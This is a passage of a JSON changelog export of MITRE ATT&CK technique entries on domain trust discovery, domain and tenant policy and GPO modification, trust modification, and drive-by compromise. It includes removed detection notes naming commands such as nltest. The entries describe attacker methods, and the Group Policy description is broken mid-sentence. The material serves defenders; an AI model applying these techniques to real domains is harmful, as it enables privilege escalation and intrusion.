"description": "Adversaries may attempt to gather information on domain trust relationships that may be used to identify lateral movement opportunities in Windows multi-domain/forest environments. Domain trusts provide a mechanism for a domain to allow access to resources based on the authentication procedures of another domain.(Citation: Microsoft Trusts) Domain trusts allow the users of the trusted domain to access resources in the trusting domain. The information discovered may help the adversary conduct [SID-History Injection](https://attack.mitre.org/techniques/T1134/005), [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003), and [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).(Citation: AdSecurity Forging Trust Tickets)(Citation: Harmj0y Domain Trusts) Domain trusts can be enumerated using the `DSEnumerateDomainTrusts()` Win32 API call, .NET methods, and LDAP.(Citation: Harmj0y Domain Trusts) The Windows utility [Nltest](https://attack.mitre.org/software/S0359) is known to be used by adversaries to enumerate domain trusts.(Citation: Microsoft Operation Wilysupply)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1482",
"external_id": "T1482"
},
{
"source_name": "Microsoft Operation Wilysupply",
"description": "Florio, E.. (2017, May 4). Windows Defender ATP thwarts Operation WilySupply software supply chain cyberattack. Retrieved February 14, 2019.",
"url": "https://www.microsoft.com/security/blog/2017/05/04/windows-defender-atp-thwarts-operation-wilysupply-software-supply-chain-cyberattack/"
},
{
"source_name": "AdSecurity Forging Trust Tickets",
"description": "Metcalf, S. (2015, July 15). It\u2019s All About Trust \u2013 Forging Kerberos Trust Tickets to Spoof Access across Active Directory Trusts. Retrieved February 14, 2019.",
"url": "https://adsecurity.org/?p=1588"
},
{
"source_name": "Microsoft Trusts",
"description": "Microsoft. (2009, October 7). Trust Technologies. Retrieved February 14, 2019.",
"url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759554(v=ws.10)"
},
{
"source_name": "Microsoft GetAllTrustRelationships",
"description": "Microsoft. (n.d.). Domain.GetAllTrustRelationships Method. Retrieved February 14, 2019.",
"url": "https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectory.domain.getalltrustrelationships?redirectedfrom=MSDN&view=netframework-4.7.2#System_DirectoryServices_ActiveDirectory_Domain_GetAllTrustRelationships"
},
{
"source_name": "Harmj0y Domain Trusts",
"description": "Schroeder, W. (2017, October 30). A Guide to Attacking Domain Trusts. Retrieved February 14, 2019.",
"url": "https://posts.specterops.io/a-guide-to-attacking-domain-trusts-971e52cb2944"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Dave Westgard",
"Elia Florio, Microsoft",
"Mnemonic",
"RedHuntLabs, @redhuntlabs",
"ExtraHop"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\", \"Script: Script Execution\", \"Network Traffic: Network Traffic Content\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:58.061000+00:00\", \"old_value\": \"2025-04-15 22:22:35.004000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation but as part of a chain of behavior that could lead to other activities based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information, such as `nltest /domain_trusts`. Remote access tools with built-in features may interact directly with the Windows API to gather information. Look for the `DSEnumerateDomainTrusts()` Win32 API call to spot activity associated with [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Harmj0y Domain Trusts) Information may also be acquired through Windows system management tools such as [PowerShell](https://attack.mitre.org/techniques/T1059/001). The .NET method `GetAllTrustRelationships()` can be an indicator of [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Microsoft GetAllTrustRelationships)\\n\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation but as part of a chain of behavior that could lead to other activities based on the information obtained.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to gather system and network information, such as `nltest /domain_trusts`. Remote access tools with built-in features may interact directly with the Windows API to gather information. Look for the `DSEnumerateDomainTrusts()` Win32 API call to spot activity associated with [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Harmj0y Domain Trusts) Information may also be acquired through Windows system management tools such as [PowerShell](https://attack.mitre.org/techniques/T1059/001). The .NET method `GetAllTrustRelationships()` can be an indicator of [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Microsoft GetAllTrustRelationships)\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1030: Network Segmentation",
"M1047: Audit"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0009: Process (Process Creation)",
"DS0012: Script (Script Execution)",
"DS0017: Command (Command Execution)",
"DS0029: Network Traffic (Network Traffic Content)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0007: Detection of Domain Trust Discovery via API, Script, and CLI Enumeration"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2019-03-07 14:10:32.650000+00:00",
"modified": "2025-10-24 17:49:33.897000+00:00",
"name": "Domain or Tenant Policy Modification",
"description": "Adversaries may modify the configuration settings of a domain or identity tenant to evade defenses and/or escalate privileges in centrally managed environments. Such services provide a centralized means of managing identity resources such as devices and accounts, and often include configuration settings that may apply between domains or tenants such as trust relationships, identity syncing, or identity federation.\n\nModifications to domain or tenant settings may include altering domain Group Policy Objects (GPOs) in Microsoft Active Directory (AD) or changing trust settings for domains, including federation trusts relationships between domains or tenants.\n\nWith sufficient permissions, adversaries can modify domain or tenant policy settings. Since configuration settings for these services apply to a large number of identity resources, there are a great number of potential attacks malicious outcomes that can stem from this abuse. Examples of such abuse include: \n\n* modifying GPOs to push a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053/005) to computers throughout the domain environment(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)\n* modifying domain trusts to include an adversary-controlled domain, allowing adversaries to forge access tokens that will subsequently be accepted by victim domain resources(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks)\n* changing configuration settings within the AD environment to implement a [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207).\n* adding new, adversary-controlled federated identity providers to identity tenants, allowing adversaries to authenticate as any user managed by the victim tenant (Citation: Okta Cross-Tenant Impersonation 2023)\n\nAdversaries may temporarily modify domain or tenant policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1484",
"external_id": "T1484"
},
{
"source_name": "CISA SolarWinds Cloud Detection",
"description": "CISA. (2021, January 8). Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments. Retrieved January 8, 2021.",
"url": "https://us-cert.cisa.gov/ncas/alerts/aa21-008a"
},
{
"source_name": "ADSecurity GPO Persistence 2016",
"description": "Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019.",
"url": "https://adsecurity.org/?p=2716"
},
{
"source_name": "Microsoft 365 Defender Solorigate",
"description": "Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021.",
"url": "https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/"
},
{
"source_name": "Microsoft - Azure Sentinel ADFSDomainTrustMods",
"description": "Microsoft. (2020, December). Azure Sentinel Detections. Retrieved December 30, 2020.",
"url": "https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml"
},
{
"source_name": "Microsoft - Update or Repair Federated domain",
"description": "Microsoft. (2020, September 14). Update or repair the settings of a federated domain in Office 365, Azure, or Intune. Retrieved December 30, 2020.",
"url": "https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365"
},
{
"source_name": "Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks",
"description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020.",
"url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/"
},
{
"source_name": "Okta Cross-Tenant Impersonation 2023",
"description": "Okta Defensive Cyber Operations. (2023, August 31). Cross-Tenant Impersonation: Prevention and Detection. Retrieved February 15, 2024.",
"url": "https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection"
},
{
"source_name": "Wald0 Guide to GPOs",
"description": "Robbins, A. (2018, April 2). A Red Teamer\u2019s Guide to GPOs and OUs. Retrieved March 5, 2019.",
"url": "https://wald0.com/?p=179"
},
{
"source_name": "Harmj0y Abusing GPO Permissions",
"description": "Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved September 23, 2024.",
"url": "https://blog.harmj0y.net/redteaming/abusing-gpo-permissions/"
},
{
"source_name": "Sygnia Golden SAML",
"description": "Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved November 17, 2024.",
"url": "https://www.sygnia.co/threat-reports-and-advisories/golden-saml-attack/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Obsidian Security"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows",
"Identity Provider"
],
"x_mitre_version": "3.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Active Directory: Active Directory Object Deletion\", \"Active Directory: Active Directory Object Creation\", \"Command: Command Execution\", \"Active Directory: Active Directory Object Modification\", \"Application Log: Application Log Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:33.897000+00:00\", \"old_value\": \"2025-04-15 19:59:19.033000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"It may be possible to detect domain policy modifications using Windows event logs. Group policy modifications, for example, may be logged under a variety of Windows event IDs for modifying, creating, undeleting, moving, and deleting directory service objects (Event ID 5136, 5137, 5138, 5139, 5141 respectively). Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes Set federation settings on domain and Set domain authentication.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods)(Citation: Microsoft 365 Defender Solorigate) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)\\n\\nConsider monitoring for commands/cmdlets and command-line arguments that may be leveraged to modify domain policy settings.(Citation: Microsoft - Update or Repair Federated domain) Some domain policy modifications, such as changes to federation settings, are likely to be rare.(Citation: Microsoft 365 Defender Solorigate)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-It may be possible to detect domain policy modifications using Windows event logs. Group policy modifications, for example, may be logged under a variety of Windows event IDs for modifying, creating, undeleting, moving, and deleting directory service objects (Event ID 5136, 5137, 5138, 5139, 5141 respectively). Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes Set federation settings on domain and Set domain authentication.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods)(Citation: Microsoft 365 Defender Solorigate) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)\\n-\\n-Consider monitoring for commands/cmdlets and command-line arguments that may be leveraged to modify domain policy settings.(Citation: Microsoft - Update or Repair Federated domain) Some domain policy modifications, such as changes to federation settings, are likely to be rare.(Citation: Microsoft 365 Defender Solorigate)\"}}}",
"previous_version": "3.2",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1026: Privileged Account Management",
"M1047: Audit"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0015: Application Log (Application Log Content)",
"DS0017: Command (Command Execution)",
"DS0026: Active Directory (Active Directory Object Creation)",
"DS0026: Active Directory (Active Directory Object Deletion)",
"DS0026: Active Directory (Active Directory Object Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0270: Detection of Domain or Tenant Policy Modifications via AD and Identity Provider"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--5d2be8b9-d24c-4e98-83bf-2f5f79477163",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-12-28 21:50:59.844000+00:00",
"modified": "2025-10-24 17:48:50.475000+00:00",
"name": "Group Policy Modification",
"description": "Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predictable network path `\\New-GPOImmediateTask can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <GPO_PATH>\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <GPO_PATH>\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1484/001",
"external_id": "T1484.001"
},
{
"source_name": "Mandiant M Trends 2016",
"description": "Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved November 17, 2024.",
"url": "https://web.archive.org/web/20211024160454/https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf"
},
{
"source_name": "ADSecurity GPO Persistence 2016",
"description": "Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019.",
"url": "https://adsecurity.org/?p=2716"
},
{
"source_name": "Microsoft Hacking Team Breach",
"description": "Microsoft Secure Team. (2016, June 1). Hacking Team Breach: A Cyber Jurassic Park. Retrieved March 5, 2019.",
"url": "https://www.microsoft.com/security/blog/2016/06/01/hacking-team-breach-a-cyber-jurassic-park/"
},
{
"source_name": "Wald0 Guide to GPOs",
"description": "Robbins, A. (2018, April 2). A Red Teamer\u2019s Guide to GPOs and OUs. Retrieved March 5, 2019.",
"url": "https://wald0.com/?p=179"
},
{
"source_name": "Harmj0y Abusing GPO Permissions",
"description": "Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved September 23, 2024.",
"url": "https://blog.harmj0y.net/redteaming/abusing-gpo-permissions/"
},
{
"source_name": "Harmj0y SeEnableDelegationPrivilege Right",
"description": "Schroeder, W. (2017, January 10). The Most Dangerous User Right You (Probably) Have Never Heard Of. Retrieved September 23, 2024.",
"url": "https://blog.harmj0y.net/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/"
},
{
"source_name": "TechNet Group Policy Basics",
"description": "srachui. (2012, February 13). Group Policy Basics \u2013 Part 1: Understanding the Structure of a Group Policy Object. Retrieved March 5, 2019.",
"url": "https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Itamar Mizrahi, Cymptom",
"Tristan Bennett, Seamless Intelligence"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Active Directory: Active Directory Object Creation\", \"Active Directory: Active Directory Object Modification\", \"Active Directory: Active Directory Object Deletion\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:50.475000+00:00\", \"old_value\": \"2025-04-15 19:58:34.774000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"It is possible to detect GPO modifications by monitoring directory service changes using Windows event logs. Several events may be logged for such GPO modifications, including:\\n\\n* Event ID 5136 - A directory service object was modified\\n* Event ID 5137 - A directory service object was created\\n* Event ID 5138 - A directory service object was undeleted\\n* Event ID 5139 - A directory service object was moved\\n* Event ID 5141 - A directory service object was deleted\\n\\n\\nGPO abuse will often be accompanied by some other behavior such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), which will have events associated with it to detect. Subsequent permission value modifications, like those to SeEnableDelegationPrivilege, can also be searched for in events associated with privileges assigned to new logons (Event ID 4672) and assignment of user rights (Event ID 4704).\", \"diff\": \"--- \\n+++ \\n@@ -1,10 +0,0 @@\\n-It is possible to detect GPO modifications by monitoring directory service changes using Windows event logs. Several events may be logged for such GPO modifications, including:\\n-\\n-* Event ID 5136 - A directory service object was modified\\n-* Event ID 5137 - A directory service object was created\\n-* Event ID 5138 - A directory service object was undeleted\\n-* Event ID 5139 - A directory service object was moved\\n-* Event ID 5141 - A directory service object was deleted\\n-\\n-\\n-GPO abuse will often be accompanied by some other behavior such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), which will have events associated with it to detect. Subsequent permission value modifications, like those to SeEnableDelegationPrivilege, can also be searched for in events associated with privileges assigned to new logons (Event ID 4672) and assignment of user rights (Event ID 4704).\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1047: Audit"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0017: Command (Command Execution)",
"DS0026: Active Directory (Active Directory Object Creation)",
"DS0026: Active Directory (Active Directory Object Deletion)",
"DS0026: Active Directory (Active Directory Object Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0305: Detection of Group Policy Modifications via AD Object Changes and File Activity"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--24769ab5-14bd-4f4e-a752-cfb185da53ee",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-12-28 21:59:02.181000+00:00",
"modified": "2025-10-24 17:48:32.244000+00:00",
"name": "Trust Modification",
"description": "Adversaries may add new domain trusts, modify the properties of existing domain trusts, or otherwise change the configuration of trust relationships between domains and tenants to evade defenses and/or elevate privileges.Trust details, such as whether or not user identities are federated, allow authentication and authorization properties to apply between domains or tenants for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains.\n\nManipulating these trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, in Microsoft Active Directory (AD) environments, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002) without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate. An adversary may also convert an AD domain to a federated domain using Active Directory Federation Services (AD FS), which may enable malicious trust modifications such as altering the claim issuance rules to log in any valid set of credentials as a specified user.(Citation: AADInternals zure AD Federated Domain) \n\nAn adversary may also add a new federated identity provider to an identity tenant such as Okta or AWS IAM Identity Center, which may enable the adversary to authenticate as any user of the tenant.(Citation: Okta Cross-Tenant Impersonation 2023) This may enable the threat actor to gain broad access into a variety of cloud-based services that leverage the identity tenant. For example, in AWS environments, an adversary that creates a new identity provider for an AWS Organization will be able to federate into all of the AWS Organization member accounts without creating identities for each of the member accounts.(Citation: AWS RE:Inforce Threat Detection 2024)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1484/002",
"external_id": "T1484.002"
},
{
"source_name": "AWS RE:Inforce Threat Detection 2024",
"description": "Ben Fletcher and Steve de Vera. (2024, June). New tactics and techniques for proactive threat detection. Retrieved September 25, 2024.",
"url": "https://reinforce.awsevents.com/content/dam/reinforce/2024/slides/TDR432_New-tactics-and-techniques-for-proactive-threat-detection.pdf"
},
{
"source_name": "CISA SolarWinds Cloud Detection",
"description": "CISA. (2021, January 8). Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments. Retrieved January 8, 2021.",
"url": "https://us-cert.cisa.gov/ncas/alerts/aa21-008a"
},
{
"source_name": "AADInternals zure AD Federated Domain",
"description": "Dr. Nestori Syynimaa. (2017, November 16). Security vulnerability in Azure AD & Office 365 identity federation. Retrieved September 28, 2022.",
"url": "https://o365blog.com/post/federation-vulnerability/"
},
{
"source_name": "Microsoft - Azure AD Federation",
"description": "Microsoft. (2018, November 28). What is federation with Azure AD?. Retrieved December 30, 2020.",
"url": "https://docs.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed"
},
{
"source_name": "Microsoft - Azure Sentinel ADFSDomainTrustMods",
"description": "Microsoft. (2020, December). Azure Sentinel Detections. Retrieved December 30, 2020.",
"url": "https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml"
},
{
"source_name": "Microsoft - Update or Repair Federated domain",
"description": "Microsoft. (2020, September 14). Update or repair the settings of a federated domain in Office 365, Azure, or Intune. Retrieved December 30, 2020.",
"url": "https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365"
},
{
"source_name": "Okta Cross-Tenant Impersonation 2023",
"description": "Okta Defensive Cyber Operations. (2023, August 31). Cross-Tenant Impersonation: Prevention and Detection. Retrieved February 15, 2024.",
"url": "https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection"
},
{
"source_name": "Sygnia Golden SAML",
"description": "Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved November 17, 2024.",
"url": "https://www.sygnia.co/threat-reports-and-advisories/golden-saml-attack/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Blake Strom, Microsoft 365 Defender",
"Praetorian",
"Obsidian Security"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Identity Provider",
"Windows"
],
"x_mitre_version": "2.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Application Log: Application Log Content\", \"Active Directory: Active Directory Object Modification\", \"Active Directory: Active Directory Object Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:32.244000+00:00\", \"old_value\": \"2025-04-15 19:58:14.422000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes Set federation settings on domain and Set domain authentication.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)\\n\\nMonitor for PowerShell commands such as: Update-MSOLFederatedDomain \\u2013DomainName: \\\"Federated Domain Name\\\", or Update-MSOLFederatedDomain \\u2013DomainName: \\\"Federated Domain Name\\\" \\u2013supportmultipledomain.(Citation: Microsoft - Update or Repair Federated domain)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes Set federation settings on domain and Set domain authentication.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)\\n-\\n-Monitor for PowerShell commands such as: Update-MSOLFederatedDomain \\u2013DomainName: \\\"Federated Domain Name\\\", or Update-MSOLFederatedDomain \\u2013DomainName: \\\"Federated Domain Name\\\" \\u2013supportmultipledomain.(Citation: Microsoft - Update or Repair Federated domain)\"}}}",
"previous_version": "2.2",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1026: Privileged Account Management"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0015: Application Log (Application Log Content)",
"DS0017: Command (Command Execution)",
"DS0026: Active Directory (Active Directory Object Creation)",
"DS0026: Active Directory (Active Directory Object Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0458: Detection of Trust Relationship Modifications in Domain or Tenant Policies"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2018-04-18 17:59:24.739000+00:00",
"modified": "2025-10-24 17:49:28.067000+00:00",
"name": "Drive-by Compromise",
"description": "Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. Multiple ways of delivering exploit code to a browser exist (i.e., [Drive-by Target](https://attack.mitre.org/techniques/T1608/004)), including:\n\n* A legitimate website is compromised, allowing adversaries to inject malicious code\n* Script files served to a legitimate website from a publicly writeable cloud storage bucket are modified by an adversary\n* Malicious ads are paid for and served through legitimate ad providers (i.e., [Malvertising](https://attack.mitre.org/techniques/T1583/008))\n* Built-in web application interfaces that allow user-controllable content are leveraged for the insertion of malicious scripts or iFrames (e.g., cross-site scripting)\n\nBrowser push notifications may also be abused by adversaries and leveraged for malicious code injection via [User Execution](https://attack.mitre.org/techniques/T1204). By clicking \"allow\" on browser push notifications, users may be granting a website permission to run JavaScript code on their browser.(Citation: Push notifications - viruspositive)(Citation: push notification -mcafee)(Citation: push notifications - malwarebytes)\n\nOften the website used by an adversary is one visited by a specific community, such as government, a particular industry, or a particular region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.(Citation: Shadowserver Strategic Web Compromise)\n\nTypical drive-by compromise process:\n\n1. A user visits a website that is used to host the adversary controlled content.\n2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. The user may be required to assist in this process by enabling scripting, notifications, or active website components and ignoring warning dialog boxes.\n3. Upon finding a vulnerable version, exploit code is delivered to the browser.\n4. If exploitation is successful, the adversary will gain code execution on the user's system unless other protections are in place. In some cases, a second visit to the website after the initial scan is required before exploit code is delivered.\n\nUnlike [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "initial-access"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1189",
"external_id": "T1189"
},
{
"source_name": "Shadowserver Strategic Web Compromise",
"description": "Adair, S., Moran, N. (2012, May 15). Cyber Espionage & Strategic Web Compromises \u2013 Trusted Websites Serving Dangerous Results. Retrieved March 13, 2018.",
"url": "http://blog.shadowserver.org/2012/05/15/cyber-espionage-strategic-web-compromises-trusted-websites-serving-dangerous-results/"
},
{
"source_name": "push notification -mcafee",
"description": "Craig Schmugar. (2021, May 17). Scammers Impersonating Windows Defender to Push Malicious Windows Apps. Retrieved March 14, 2025.",
